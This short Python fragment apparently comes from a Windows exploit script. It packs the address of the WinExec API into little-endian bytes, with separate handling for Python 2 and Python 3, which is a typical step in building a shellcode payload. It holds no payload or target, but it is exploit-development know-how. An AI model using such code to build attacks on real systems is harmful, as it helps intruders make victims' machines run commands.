bytesListe = [addressWinExec >> i & 0xff for i in (24,16,8,0)]
bytesListe.reverse()
addressWinExecBytes = b''
if sys.version_info<=(3,0):
    for byte in bytesListe:
        addressWinExecBytes+=chr(byte)
else:
    addressWinExecBytes = bytes(bytesListe)